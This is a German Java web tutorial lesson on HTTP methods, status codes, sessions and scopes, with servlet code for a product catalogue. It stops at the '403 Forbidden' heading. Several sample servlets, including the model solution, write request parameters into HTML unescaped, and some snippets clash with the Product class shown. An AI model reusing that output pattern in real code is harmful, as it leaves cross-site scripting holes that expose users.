Java Web Basic – Tag 2 von 10
Von Elyndra Valen, Senior Developer bei Java Fleet Systems Consulting
🗺️ Deine Position im Kurs
| Tag | Thema | Status |
|---|---|---|
| 1 | Java EE Überblick & HTTP | ✅ Abgeschlossen |
| → 2 | HTTP-Protokoll Vertiefung & Zustandslosigkeit | 👉 DU BIST HIER! |
| 3 | Servlets & Servlet API | 🔒 Noch nicht freigeschaltet |
| 4 | Deployment Descriptor & MVC vs Model 2 | 🔒 Noch nicht freigeschaltet |
| 5 | JSP & Expression Languages (Teil 1) | 🔒 Noch nicht freigeschaltet |
| 6 | Java Beans, Actions, Scopes & Direktiven | 🔒 Noch nicht freigeschaltet |
| 7 | Include-Action vs Include-Direktive | 🔒 Noch nicht freigeschaltet |
| 8 | JSTL – Java Standard Tag Libraries | 🔒 Noch nicht freigeschaltet |
| 9 | Java Web und Datenbanken – Datasource | 🔒 Noch nicht freigeschaltet |
| 10 | Connection Pools & JDBC in Web-Umgebungen | 🔒 Noch nicht freigeschaltet |
Modul: Java Web Basic
Gesamt-Dauer: 10 Arbeitstage (je 8 Stunden)
Dauer heute: 8 Stunden
Dein Ziel: HTTP-Protokoll meistern und Sessions verstehen
📋 Voraussetzungen für diesen Tag
Du brauchst:
- ✅ Tag 1 abgeschlossen (Java EE Grundlagen)
- ✅ Payara Server läuft in NetBeans
- ✅ HelloPayara-Projekt vom ersten Tag
- ✅ Browser mit Developer Tools (Chrome, Firefox, Edge)
Tag 1 verpasst?
Geh zurück und arbeite Tag 1 durch. Ohne die Grundlagen wird heute schwierig.
⚡ Das Wichtigste in 30 Sekunden
Heute lernst du:
- ✅ HTTP-Methoden im Detail (GET, POST, PUT, DELETE, HEAD, OPTIONS)
- ✅ HTTP-Status-Codes und wann du welche verwendest
- ✅ HTTP-Headers und ihre Bedeutung
- ✅ Was Zustandslosigkeit bedeutet und warum das problematisch ist
- ✅ Wie Sessions funktionieren (technisch im Detail)
- ✅ Cookies verstehen und verwenden
- ✅ Session-Scope vs. Request-Scope vs. Application-Scope
Am Ende des Tages kannst du:
- HTTP-Requests und -Responses im Detail analysieren
- Den richtigen HTTP-Status-Code für jede Situation wählen
- Sessions in Servlets verwenden
- Cookies setzen und auslesen
- Verschiedene Scopes verstehen und anwenden
Zeit-Investment: ~8 Stunden
Schwierigkeitsgrad: Mittel
👋 Willkommen zu Tag 2!
Hi! 👋
Elyndra hier. Schön, dass du zurück bist!
Gestern haben wir das Fundament gelegt:
Wir haben verstanden, was Java EE ist, wie Application Server funktionieren, und wir haben einen ersten Blick auf HTTP geworfen.
Heute gehen wir tiefer:
HTTP ist nicht nur „Browser schickt Request, Server schickt Response“. Es ist viel nuancierter. Es gibt verschiedene Methoden (nicht nur GET!), verschiedene Status-Codes (nicht nur 200 und 404!), und jede Menge Header, die bestimmen, WIE die Kommunikation abläuft.
Aber bevor wir einsteigen – lass mich dir die Tragweite von HTTP verdeutlichen:
Allein in Deutschland werden jede Stunde etwa 250 Millionen Anfragen an die Google-Suche geschickt. 250 Millionen. Pro Stunde. Nur Google. Nur Deutschland.
Das sind nur Suchanfragen – keine Instagram-Posts, keine WhatsApp-Nachrichten, keine Amazon-Bestellungen, keine Netflix-Streams, kein Online-Banking.
Jede einzelne dieser 250 Millionen Anfragen läuft über HTTP. Jeder Klick, jedes Formular, jedes Bild, jedes Video. HTTP ist das unsichtbare Protokoll, das das moderne Internet zusammenhält.
Wenn du HTTP verstehst, verstehst du die Sprache, in der Milliarden von Geräten miteinander kommunizieren. Jeden Tag. Jede Sekunde.
Und genau deshalb nehmen wir uns heute die Zeit, es richtig zu verstehen.
Und dann ist da noch das große Thema: Zustandslosigkeit.
HTTP „vergisst“ nach jedem Request. Aber unsere Anwendungen brauchen Zustand – wer ist eingeloggt? Was liegt im Warenkorb? Welche Sprache hat der User gewählt?
Ein Vergleich aus meiner Welt:
Stell dir vor, du gehst zu einem Handwerker und bittest ihn, einen Tisch zu bauen.
Mit Zustand (normal):
- Tag 1: „Bau mir einen Tisch, 2m lang, Eiche“
- Tag 2: Du kommst zurück – er weiß noch, was du willst
- Tag 3: Der Tisch ist fertig
Ohne Zustand (HTTP):
- Tag 1: „Bau mir einen Tisch, 2m lang, Eiche“
- Tag 2: Du kommst zurück – er hat alles vergessen
- Du musst wieder erklären: „2m, Eiche, erinnerst du dich?“
- Tag 3: Wieder von vorne erklären
So funktioniert HTTP – jeder Request ist wie ein neuer Kunde, den der Server noch nie gesehen hat.
Heute lösen wir dieses Problem mit Sessions.
Los geht’s! 🔧
🔄 Kurzwiederholung: Challenge von Tag 1
Erinnerst du dich an die Challenge von gestern?
Die Aufgabe war: Erstelle ein Servlet, das „Hello, [Name]!“ ausgibt mit der URL http://localhost:8080/HelloPayara/greet?name=Anna
Hier ist die Musterlösung:
package com.javadeveloper.hellopayara;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/greet")
public class GreetServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
// Content-Type setzen
response.setContentType("text/html;charset=UTF-8");
// Parameter auslesen
String name = request.getParameter("name");
// Falls kein Name angegeben wurde
if (name == null || name.trim().isEmpty()) {
name = "Stranger";
}
// Response schreiben
PrintWriter out = response.getWriter();
out.println("<!DOCTYPE html>");
out.println("<html>");
out.println("<head><title>Greeting</title></head>");
out.println("<body>");
out.println("<h1>Hello, " + name + "!</h1>");
out.println("</body>");
out.println("</html>");
}
}
Hast du’s selbst geschafft? Großartig! 🎉
Hattest du Schwierigkeiten? Kein Problem – vergleiche deinen Code mit der Lösung und schau, wo die Unterschiede sind.
Wichtige Punkte:
@WebServlet("/greet")– URL-Mapping ohne web.xmlrequest.getParameter("name")– Parameter aus URL auslesenresponse.setContentType("text/html;charset=UTF-8")– MIME-Type setzen- Null-Check für Parameter – wichtig für Robustheit!
Und jetzt geht’s weiter mit HTTP im Detail! 🚀
🟢 GRUNDLAGEN: HTTP-Methoden im Detail
Die wichtigsten HTTP-Methoden
Gestern haben wir GET und POST kennengelernt. Heute schauen wir uns ALLE wichtigen Methoden an.
HTTP/1.1 definiert diese Methoden:
| HTTP-Methode | Zweck | Servlet-Methode |
|---|---|---|
| GET | Daten abrufen (Read) | doGet() |
| POST | Daten senden / erstellen (Create) | doPost() |
| PUT | Daten ersetzen (Update/Replace) | doPut() |
| DELETE | Daten löschen (Delete) | doDelete() |
| HEAD | Wie GET, aber nur Headers | doHead() |
| OPTIONS | Zeigt erlaubte Methoden | doOptions() |
| PATCH | Daten teilweise ändern (Partial Update) | doPatch() |
Die wichtigsten für dich:
- GET – Daten abrufen (z.B. Produktliste anzeigen)
- POST – Daten senden (z.B. Login, Formular absenden)
- PUT – Daten komplett ersetzen (z.B. Profil aktualisieren)
- DELETE – Daten löschen (z.B. Produkt entfernen)
GET – Daten abrufen
Zweck:
Ressourcen vom Server abrufen.
Eigenschaften:
- ✅ Safe (ändert nichts auf dem Server)
- ✅ Idempotent (mehrfaches Ausführen = gleiches Ergebnis)
- ✅ Cacheable (Browser kann Response cachen)
- ✅ Bookmarkable (URL kann gespeichert werden)
HTTP-Request:
GET /products?category=electronics&sort=price HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 Accept: text/html
In Java:
@WebServlet("/products")
public class ProductServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
// Parameter aus URL lesen
String category = request.getParameter("category");
String sort = request.getParameter("sort");
// Daten aus Datenbank holen
List<Product> products = productDAO.findByCategory(category, sort);
// Response generieren
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>Products in " + category + "</h1>");
for (Product p : products) {
out.println("<p>" + p.getName() + " - " + p.getPrice() + "</p>");
}
out.println("</body></html>");
}
}
Wichtig:
GET sollte NIEMALS den Server-Zustand verändern!
// FALSCH! GET sollte nichts löschen!
@WebServlet("/deleteProduct")
public class DeleteServlet extends HttpServlet {
protected void doGet(HttpServletRequest request,
HttpServletResponse response) {
String id = request.getParameter("id");
productDAO.delete(id); // ❌ FALSCH!
}
}
Warum ist das falsch?
- Suchmaschinen-Crawler könnten die URL aufrufen und Daten löschen
- Browser-Prefetching könnte Daten versehentlich löschen
- GET-Requests werden gecached – das kann zu Problemen führen
Für Lösch-Operationen: DELETE verwenden!
💻 Praktisches Beispiel: Produktliste mit Session-Scope
Jetzt erstellen wir zwei funktionierende Servlets mit 20 echten Produkten!
Schritt 1: Product-Klasse erstellen
Erstelle src/main/java/com/javadeveloper/model/Product.java:
package com.javadeveloper.model;
public class Product {
private Long id;
private String name;
private String category;
private double price;
public Product(Long id, String name, String category, double price) {
this.id = id;
this.name = name;
this.category = category;
this.price = price;
}
// Getter
public Long getId() { return id; }
public String getName() { return name; }
public String getCategory() { return category; }
public double getPrice() { return price; }
}
Schritt 2: ProductListServlet – Alle Produkte anzeigen
Erstelle src/main/java/com/javadeveloper/servlet/ProductListServlet.java:
package com.javadeveloper.servlet;
import com.javadeveloper.model.Product;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
@WebServlet("/products")
public class ProductListServlet extends HttpServlet {
// In-Memory "Datenbank" - 20 Produkte
private static final List<Product> PRODUCTS = new ArrayList<>();
static {
// Elektronik
PRODUCTS.add(new Product(1L, "Laptop Dell XPS 15", "Electronics", 1299.99));
PRODUCTS.add(new Product(2L, "iPhone 15 Pro", "Electronics", 1199.00));
PRODUCTS.add(new Product(3L, "Samsung Galaxy S24", "Electronics", 899.00));
PRODUCTS.add(new Product(4L, "MacBook Air M2", "Electronics", 1449.00));
PRODUCTS.add(new Product(5L, "Logitech MX Master 3S", "Electronics", 99.99));
// Bücher
PRODUCTS.add(new Product(6L, "Clean Code (Robert Martin)", "Books", 42.50));
PRODUCTS.add(new Product(7L, "Effective Java (Joshua Bloch)", "Books", 47.99));
PRODUCTS.add(new Product(8L, "Design Patterns (Gang of Four)", "Books", 54.99));
PRODUCTS.add(new Product(9L, "The Pragmatic Programmer", "Books", 39.99));
PRODUCTS.add(new Product(10L, "Head First Java", "Books", 44.99));
// Kleidung
PRODUCTS.add(new Product(11L, "Nike Air Max 270", "Clothing", 149.99));
PRODUCTS.add(new Product(12L, "Adidas Ultraboost 23", "Clothing", 179.99));
PRODUCTS.add(new Product(13L, "Levi's 501 Jeans", "Clothing", 89.99));
PRODUCTS.add(new Product(14L, "North Face Jacket", "Clothing", 199.99));
PRODUCTS.add(new Product(15L, "Tommy Hilfiger Polo", "Clothing", 79.99));
// Sport
PRODUCTS.add(new Product(16L, "Yoga Mat Premium", "Sports", 34.99));
PRODUCTS.add(new Product(17L, "Dumbbell Set 20kg", "Sports", 89.99));
PRODUCTS.add(new Product(18L, "Fitbit Charge 6", "Sports", 159.99));
PRODUCTS.add(new Product(19L, "Protein Powder 1kg", "Sports", 29.99));
PRODUCTS.add(new Product(20L, "Running Shoes Asics", "Sports", 129.99));
}
@Override
protected void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
out.println("<!DOCTYPE html>");
out.println("<html>");
out.println("<head>");
out.println("<title>Product List</title>");
out.println("<style>");
out.println("body { font-family: Arial, sans-serif; margin: 40px; }");
out.println("table { border-collapse: collapse; width: 100%; }");
out.println("th, td { border: 1px solid #ddd; padding: 12px; text-align: left; }");
out.println("th { background-color: #4CAF50; color: white; }");
out.println("tr:hover { background-color: #f5f5f5; }");
out.println("a { color: #4CAF50; text-decoration: none; }");
out.println("a:hover { text-decoration: underline; }");
out.println("</style>");
out.println("</head>");
out.println("<body>");
out.println("<h1>📦 Product Catalog</h1>");
out.println("<p>Total products: " + PRODUCTS.size() + "</p>");
out.println("<table>");
out.println("<tr>");
out.println("<th>ID</th>");
out.println("<th>Name</th>");
out.println("<th>Category</th>");
out.println("<th>Price</th>");
out.println("<th>Action</th>");
out.println("</tr>");
for (Product product : PRODUCTS) {
out.println("<tr>");
out.println("<td>" + product.getId() + "</td>");
out.println("<td>" + product.getName() + "</td>");
out.println("<td>" + product.getCategory() + "</td>");
out.println("<td>€" + String.format("%.2f", product.getPrice()) + "</td>");
out.println("<td><a href='/HelloPayara/product/" + product.getId() + "'>View Details</a></td>");
out.println("</tr>");
}
out.println("</table>");
out.println("</body>");
out.println("</html>");
}
}
Testen:
Starte Payara und öffne: http://localhost:8080/HelloPayara/products
Du siehst eine schöne Tabelle mit 20 Produkten!
Schritt 3: ProductDetailServlet mit Session-Scope
Erstelle src/main/java/com/javadeveloper/servlet/ProductDetailServlet.java:
package com.javadeveloper.servlet;
import com.javadeveloper.model.Product;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
@WebServlet("/product/*")
public class ProductDetailServlet extends HttpServlet {
// Gleiche Produktliste (in echter App: Datenbank)
private static final List<Product> PRODUCTS = new ArrayList<>();
static {
PRODUCTS.add(new Product(1L, "Laptop Dell XPS 15", "Electronics", 1299.99));
PRODUCTS.add(new Product(2L, "iPhone 15 Pro", "Electronics", 1199.00));
PRODUCTS.add(new Product(3L, "Samsung Galaxy S24", "Electronics", 899.00));
PRODUCTS.add(new Product(4L, "MacBook Air M2", "Electronics", 1449.00));
PRODUCTS.add(new Product(5L, "Logitech MX Master 3S", "Electronics", 99.99));
PRODUCTS.add(new Product(6L, "Clean Code (Robert Martin)", "Books", 42.50));
PRODUCTS.add(new Product(7L, "Effective Java (Joshua Bloch)", "Books", 47.99));
PRODUCTS.add(new Product(8L, "Design Patterns (Gang of Four)", "Books", 54.99));
PRODUCTS.add(new Product(9L, "The Pragmatic Programmer", "Books", 39.99));
PRODUCTS.add(new Product(10L, "Head First Java", "Books", 44.99));
PRODUCTS.add(new Product(11L, "Nike Air Max 270", "Clothing", 149.99));
PRODUCTS.add(new Product(12L, "Adidas Ultraboost 23", "Clothing", 179.99));
PRODUCTS.add(new Product(13L, "Levi's 501 Jeans", "Clothing", 89.99));
PRODUCTS.add(new Product(14L, "North Face Jacket", "Clothing", 199.99));
PRODUCTS.add(new Product(15L, "Tommy Hilfiger Polo", "Clothing", 79.99));
PRODUCTS.add(new Product(16L, "Yoga Mat Premium", "Sports", 34.99));
PRODUCTS.add(new Product(17L, "Dumbbell Set 20kg", "Sports", 89.99));
PRODUCTS.add(new Product(18L, "Fitbit Charge 6", "Sports", 159.99));
PRODUCTS.add(new Product(19L, "Protein Powder 1kg", "Sports", 29.99));
PRODUCTS.add(new Product(20L, "Running Shoes Asics", "Sports", 129.99));
}
@Override
protected void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
// ID aus URL extrahieren: /product/12 → "12"
String pathInfo = request.getPathInfo();
if (pathInfo == null || pathInfo.equals("/")) {
response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Product ID missing");
return;
}
// Entferne führenden Slash: "/12" → "12"
String idString = pathInfo.substring(1);
try {
Long id = Long.parseLong(idString);
// Produkt suchen
Product product = findProductById(id);
if (product == null) {
response.sendError(HttpServletResponse.SC_NOT_FOUND,
"Product with ID " + id + " not found");
return;
}
// ⭐ SESSION-SCOPE: Produkt am Session-Scope hängen
HttpSession session = request.getSession();
session.setAttribute("lastViewedProduct", product);
session.setAttribute("lastViewedTime", System.currentTimeMillis());
// HTML generieren
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
out.println("<!DOCTYPE html>");
out.println("<html>");
out.println("<head>");
out.println("<title>" + product.getName() + "</title>");
out.println("<style>");
out.println("body { font-family: Arial, sans-serif; margin: 40px; }");
out.println(".product-card { border: 1px solid #ddd; padding: 20px; max-width: 600px; }");
out.println(".price { color: #4CAF50; font-size: 24px; font-weight: bold; }");
out.println(".category { color: #666; font-style: italic; }");
out.println("a { color: #4CAF50; text-decoration: none; }");
out.println(".session-info { background: #f0f0f0; padding: 10px; margin-top: 20px; }");
out.println("</style>");
out.println("</head>");
out.println("<body>");
out.println("<div class='product-card'>");
out.println("<h1>" + product.getName() + "</h1>");
out.println("<p class='category'>Category: " + product.getCategory() + "</p>");
out.println("<p class='price'>€" + String.format("%.2f", product.getPrice()) + "</p>");
out.println("<p>Product ID: " + product.getId() + "</p>");
out.println("<div class='session-info'>");
out.println("<h3>🔒 Session-Scope Demo:</h3>");
out.println("<p>Dieses Produkt wurde am <strong>Session-Scope gehängt</strong>.</p>");
out.println("<p><strong>Session ID:</strong> " + session.getId() + "</p>");
out.println("<p>Das Produkt-Objekt liegt <strong>server-seitig</strong>. Dein Browser hat nur die Session-ID als Cookie.</p>");
out.println("<p>Die Session-ID ist das <strong>Bindeglied</strong> zwischen Browser und Server-Daten!</p>");
out.println("<p>Wenn du ein anderes Servlet aufrufst (z.B. /lastViewed), kann es dieses Produkt über die Session-ID vom Server holen!</p>");
out.println("</div>");
out.println("<hr>");
out.println("<p><a href='/HelloPayara/products'>← Back to Product List</a></p>");
out.println("</div>");
out.println("</body>");
out.println("</html>");
} catch (NumberFormatException e) {
response.sendError(HttpServletResponse.SC_BAD_REQUEST,
"Invalid product ID: " + idString);
}
}
private Product findProductById(Long id) {
for (Product p : PRODUCTS) {
if (p.getId().equals(id)) {
return p;
}
}
return null;
}
}
Testen:
- Öffne:
http://localhost:8080/HelloPayara/products - Klicke auf „View Details“ bei Produkt 12
- URL wird zu:
http://localhost:8080/HelloPayara/product/12 - Du siehst das Produkt + Session-Info!
Was passiert hier mit Session-Scope?
// ⭐ SESSION-SCOPE: Objekt am Session-Scope hängen
HttpSession session = request.getSession();
session.setAttribute("lastViewedProduct", product);
session.setAttribute("lastViewedTime", System.currentTimeMillis());
Session-Scope bedeutet:
- Das Produkt wird server-seitig am Session-Scope gehängt
- Der Browser bekommt nur die Session-ID (als Cookie)
- Die Session-ID ist das Bindeglied zwischen Browser und Server-Daten
- Jeder User hat seinen eigenen Session-Scope
- Die Daten bleiben erhalten bis Logout oder Timeout (Standard: 30 Min)
Im Gegensatz zu Request-Scope:
// REQUEST-SCOPE: Nur für DIESEN Request gültig
request.setAttribute("currentProduct", product);
// Nach der Response ist "currentProduct" WEG ❌
Wichtig zu verstehen:
Das Produkt-Objekt liegt auf dem Server! Der Browser hat nur die Session-ID:
Browser Server
-------- --------
Cookie: JSESSIONID=ABC123 → Session-Speicher:
- ABC123 → {
lastViewedProduct: Product{id=12, ...},
lastViewedTime: 1234567890
}
Die Session-ID ist nur ein Pointer auf die server-seitigen Daten!
Bonus: LastViewedServlet erstellen
Erstelle src/main/java/com/javadeveloper/servlet/LastViewedServlet.java:
package com.javadeveloper.servlet;
import com.javadeveloper.model.Product;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/lastViewed")
public class LastViewedServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
// Session holen (aber KEINE neue erstellen!)
HttpSession session = request.getSession(false);
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
out.println("<!DOCTYPE html>");
out.println("<html><head><title>Last Viewed</title></head><body>");
out.println("<h1>Zuletzt angesehen</h1>");
if (session == null) {
out.println("<p>❌ Keine Session gefunden!</p>");
} else {
Product lastViewed = (Product) session.getAttribute("lastViewedProduct");
if (lastViewed == null) {
out.println("<p>Du hast noch kein Produkt angesehen.</p>");
} else {
out.println("<p>✅ Zuletzt angesehen: <strong>" + lastViewed.getName() + "</strong></p>");
out.println("<p>Preis: €" + lastViewed.getPrice() + "</p>");
}
}
out.println("<hr>");
out.println("<p><a href='/HelloPayara/products'>Zur Produktliste</a></p>");
out.println("</body></html>");
}
}
Testen:
- Öffne
/HelloPayara/product/12(schau dir ein Produkt an) - Dann öffne
/HelloPayara/lastViewed - Du siehst: „Zuletzt angesehen: Adidas Ultraboost 23“
Das ist Session-Scope in Action! 🎉
POST – Daten senden
Zweck:
Daten an den Server senden, meist um eine neue Ressource zu erstellen.
Eigenschaften:
- ❌ Nicht safe (verändert Server-Zustand)
- ❌ Nicht idempotent (mehrfaches Ausführen = mehrere Ressourcen)
- ❌ Nicht cacheable
- ❌ Nicht bookmarkable
HTTP-Request:
POST /products HTTP/1.1 Host: localhost:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 45 name=Laptop&price=999.99&category=electronics
In Java:
@WebServlet("/products")
public class ProductServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
// Parameter aus Request Body lesen
String name = request.getParameter("name");
String priceStr = request.getParameter("price");
String category = request.getParameter("category");
// Validierung
if (name == null || name.trim().isEmpty()) {
response.setStatus(HttpServletResponse.SC_BAD_REQUEST);
response.getWriter().println("Name is required");
return;
}
// In Datenbank speichern
Product product = new Product();
product.setName(name);
product.setPrice(new BigDecimal(priceStr));
product.setCategory(category);
productDAO.save(product);
// 201 Created Response
response.setStatus(HttpServletResponse.SC_CREATED);
response.setHeader("Location", "/products/" + product.getId());
response.getWriter().println("Product created successfully");
}
}
Was passiert hier im Detail?
- Content-Type prüfen: Der Request hat
Content-Type: application/x-www-form-urlencoded - Body parsen: Der Webcontainer parsed den Body automatisch
- Parameter extrahieren: Mit
request.getParameter()können wir die Werte lesen - Validierung: Prüfen, ob alle nötigen Daten vorhanden sind
- Speichern: In Datenbank persistieren
- Response: Status 201 Created + Location-Header mit neuer Ressourcen-URL
POST vs. GET für Formulare:
<!-- Login-Formular - IMMER POST! -->
<form action="/login" method="post">
<input type="email" name="email">
<input type="password" name="password">
<button type="submit">Login</button>
</form>
<!-- Such-Formular - GET ist okay -->
<form action="/search" method="get">
<input type="text" name="query">
<button type="submit">Search</button>
</form>
Warum POST für Login?
GET: /login?email=anna@example.com&password=secret123
↑
Passwort in URL sichtbar!
Browser-History!
Server-Logs!
POST: /login
Body: email=anna@example.com&password=secret123
↑
Nicht in URL, nicht in Browser-History
HEAD – Nur Headers abrufen
Zweck:
Wie GET, aber der Server schickt nur die Headers, nicht den Body.
Verwendung:
- Prüfen ob eine Ressource existiert
- Größe einer Datei ermitteln (ohne sie herunterzuladen)
- Letzte Änderung prüfen
HTTP-Request:
HEAD /products/123 HTTP/1.1 Host: localhost:8080
HTTP-Response:
HTTP/1.1 200 OK Content-Type: application/json Content-Length: 156 Last-Modified: Sat, 25 Oct 2025 10:00:00 GMT ETag: "abc123" (kein Body!)
In Java:
@WebServlet("/products/*")
public class ProductServlet extends HttpServlet {
@Override
protected void doHead(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
// ID aus URL
String pathInfo = request.getPathInfo();
String id = pathInfo.substring(1);
// Prüfen ob existiert
Product product = productDAO.findById(Long.parseLong(id));
if (product == null) {
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return;
}
// Nur Headers setzen, kein Body!
response.setStatus(HttpServletResponse.SC_OK);
response.setContentType("application/json");
response.setHeader("Last-Modified",
product.getLastModified().toString());
response.setIntHeader("Content-Length", 156);
}
}
Wichtig:
Meistens musst du doHead() NICHT implementieren. Der Webcontainer macht das automatisch:
- Er ruft
doGet()auf - Nimmt die Headers
- Verwirft den Body
OPTIONS – Verfügbare Methoden abfragen
Zweck:
Zeigt, welche HTTP-Methoden für eine Ressource erlaubt sind.
HTTP-Request:
OPTIONS /products/123 HTTP/1.1 Host: localhost:8080
HTTP-Response:
HTTP/1.1 200 OK Allow: GET, POST, PUT, DELETE, OPTIONS
Wird hauptsächlich für CORS (Cross-Origin Resource Sharing) verwendet.
🟢 GRUNDLAGEN: HTTP-Status-Codes im Detail
Die fünf Kategorien
HTTP-Status-Codes sind dreistellige Zahlen, die den Status der Response anzeigen.
| Kategorie | Bedeutung | Beispiele |
|---|---|---|
| 1xx | Informational | 100 Continue, 101 Switching Protocols |
| 2xx | Success | 200 OK, 201 Created, 204 No Content |
| 3xx | Redirection | 301 Moved Permanently, 302 Found, 304 Not Modified |
| 4xx | Client Error | 400 Bad Request, 401 Unauthorized, 404 Not Found |
| 5xx | Server Error | 500 Internal Server Error, 503 Service Unavailable |
2xx – Success
200 OK
Bedeutung: Request war erfolgreich.
Verwendung: Standard-Response für erfolgreiche GET, PUT, PATCH, DELETE Requests.
response.setStatus(HttpServletResponse.SC_OK); // 200 // oder: einfach nichts setzen (200 ist default)
201 Created
Bedeutung: Eine neue Ressource wurde erstellt.
Verwendung: Nach erfolgreichem POST-Request.
@Override
protected void doPost(HttpServletRequest request,
HttpServletResponse response) {
Product product = createProductFromRequest(request);
productDAO.save(product);
// 201 Created
response.setStatus(HttpServletResponse.SC_CREATED);
// Location-Header: URL der neuen Ressource
response.setHeader("Location", "/products/" + product.getId());
response.getWriter().println("Product created");
}
Wichtig: Bei 201 solltest du IMMER einen Location-Header mit der URL der neuen Ressource setzen!
204 No Content
Bedeutung: Request erfolgreich, aber keine Daten zurück.
Verwendung: Nach erfolgreichem DELETE oder PUT, wenn keine Response-Daten nötig sind.
@Override
protected void doDelete(HttpServletRequest request,
HttpServletResponse response) {
String id = extractIdFromPath(request);
productDAO.delete(Long.parseLong(id));
// 204 No Content (kein Body!)
response.setStatus(HttpServletResponse.SC_NO_CONTENT);
// Kein response.getWriter().println() nötig!
}
3xx – Redirection
301 Moved Permanently
Bedeutung: Die Ressource wurde permanent verschoben.
Verwendung: Wenn eine URL sich dauerhaft geändert hat.
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301
response.setHeader("Location", "/new-url");
Was passiert:
- Browser sendet:
GET /old-url - Server antwortet:
301 Moved Permanently+Location: /new-url - Browser merkt sich: „/old-url ist jetzt /new-url“
- Browser macht automatisch Request zu
/new-url
Browser cacht diese Weiterleitung!
302 Found (Temporary Redirect)
Bedeutung: Die Ressource ist temporär woanders.
Verwendung: Nach POST-Requests (Post-Redirect-Get Pattern).
@Override
protected void doPost(HttpServletRequest request,
HttpServletResponse response) {
// Login-Logik
String email = request.getParameter("email");
String password = request.getParameter("password");
if (authenticate(email, password)) {
// Erfolgreich → Redirect zu Dashboard
response.sendRedirect("/dashboard");
// sendRedirect() setzt automatisch 302!
} else {
// Fehlgeschlagen → Redirect zu Login mit Error
response.sendRedirect("/login?error=true");
}
}
Was macht sendRedirect()?
response.sendRedirect("/dashboard");
// ist equivalent zu:
response.setStatus(HttpServletResponse.SC_FOUND); // 302
response.setHeader("Location", "/dashboard");
Post-Redirect-Get Pattern:
Browser Server | | |---- POST /login --------------->| | (email=anna&password=123) | | | [Login-Logik] |<--- 302 Found ------------------| | Location: /dashboard | | | |---- GET /dashboard ------------->| | | |<--- 200 OK -------------------| | (Dashboard HTML) |
Warum das Pattern?
Ohne Redirect:
POST /login → 200 OK (Dashboard HTML) User drückt F5 (Reload) → Browser fragt: "POST nochmal absenden?" → Nervige Warnung!
Mit Redirect:
POST /login → 302 Redirect → GET /dashboard User drückt F5 → Browser macht einfach GET /dashboard nochmal → Keine Warnung!
304 Not Modified
Bedeutung: Die Ressource hat sich nicht geändert, verwende gecachte Version.
Verwendung: Für Caching-Optimierung.
@Override
protected void doGet(HttpServletRequest request,
HttpServletResponse response) {
Product product = productDAO.findById(123);
// Letzter Änderungszeitpunkt
String lastModified = product.getLastModified().toString();
// Prüfen ob Client cached Version hat
String ifModifiedSince = request.getHeader("If-Modified-Since");
if (lastModified.equals(ifModifiedSince)) {
// Nicht geändert → 304
response.setStatus(HttpServletResponse.SC_NOT_MODIFIED);
return; // Kein Body!
}
// Geändert → 200 OK mit Daten
response.setHeader("Last-Modified", lastModified);
response.getWriter().println(product.toJson());
}
4xx – Client Error
400 Bad Request
Bedeutung: Der Request ist fehlerhaft (Syntax, fehlende Parameter, etc.).
Verwendung: Wenn Client-Daten nicht validiert werden können.
@Override
protected void doPost(HttpServletRequest request,
HttpServletResponse response) {
String name = request.getParameter("name");
String priceStr = request.getParameter("price");
// Validierung
if (name == null || name.trim().isEmpty()) {
response.setStatus(HttpServletResponse.SC_BAD_REQUEST); // 400
response.getWriter().println("Error: Name is required");
return;
}
try {
BigDecimal price = new BigDecimal(priceStr);
} catch (NumberFormatException e) {
response.setStatus(HttpServletResponse.SC_BAD_REQUEST); // 400
response.getWriter().println("Error: Invalid price format");
return;
}
// Alles okay → verarbeiten
// ...
}
401 Unauthorized
Bedeutung: Authentifizierung erforderlich.
Verwendung: Wenn User nicht eingeloggt ist.
@WebServlet("/admin")
public class AdminServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request,
HttpServletResponse response) {
HttpSession session = request.getSession(false);
if (session == null || session.getAttribute("user") == null) {
// Nicht eingeloggt → 401
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED); // 401
response.setHeader("WWW-Authenticate", "Basic realm=\"Admin Area\"");
response.getWriter().println("Please login first");
return;
}
// Eingeloggt → Admin-Panel zeigen
// ...
}
}
403 Forbidden
